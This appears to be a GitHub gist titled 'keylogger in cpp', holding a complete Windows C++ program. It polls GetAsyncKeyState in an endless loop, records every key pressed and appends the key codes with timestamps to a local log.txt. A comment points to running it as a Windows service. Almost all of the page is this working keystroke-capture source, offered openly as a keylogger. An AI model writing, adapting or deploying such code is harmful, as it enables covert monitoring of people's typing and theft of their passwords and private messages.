Skip to content

Instantly share code, notes, and snippets.

@ooooak

ooooak/main.cpp

Created Jan 30, 2018
Embed
What would you like to do?
keylogger in cpp
#include <iostream>
#include <Windows.h>
#include <fstream>
#include <string>
#include <ctime>
#include <vector>
#include <iterator>
using namespace std;
const string LOG_FILE = "log.txt";
const int LOG_AFTER = 20;
void log(vector<int> collection, time_t time) {
fstream log;
log.open(LOG_FILE, fstream::app);
if (log.is_open()) {
log << time << ":";
for (auto const& value : collection) {
log << value << ",";
}
log << "\n";
log.close();
}
// return 0;
}
int main()
{
// time_t t = time(0);
// cout << t << " seconds since the Epoch\n";
// return 0;
// https://stackoverflow.com/questions/18480573/install-and-run-windows-service-in-c
time_t startTime = time(0);
vector< int > collection;
while(true){
Sleep(10);
char key = ' ';
for (int key = 8; key <= 255; key++)
{
// -32767 it indicates a key or selection of keys
// has been pressed and released since you last called
// however it is not 100 % guaranteed
if (GetAsyncKeyState(key) == -32767) {
collection.push_back(key);
time_t endTime = time(0) + LOG_AFTER;
if (startTime <= endTime) {
log(collection, startTime);
collection.clear();
startTime = endTime;
}
}
}
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment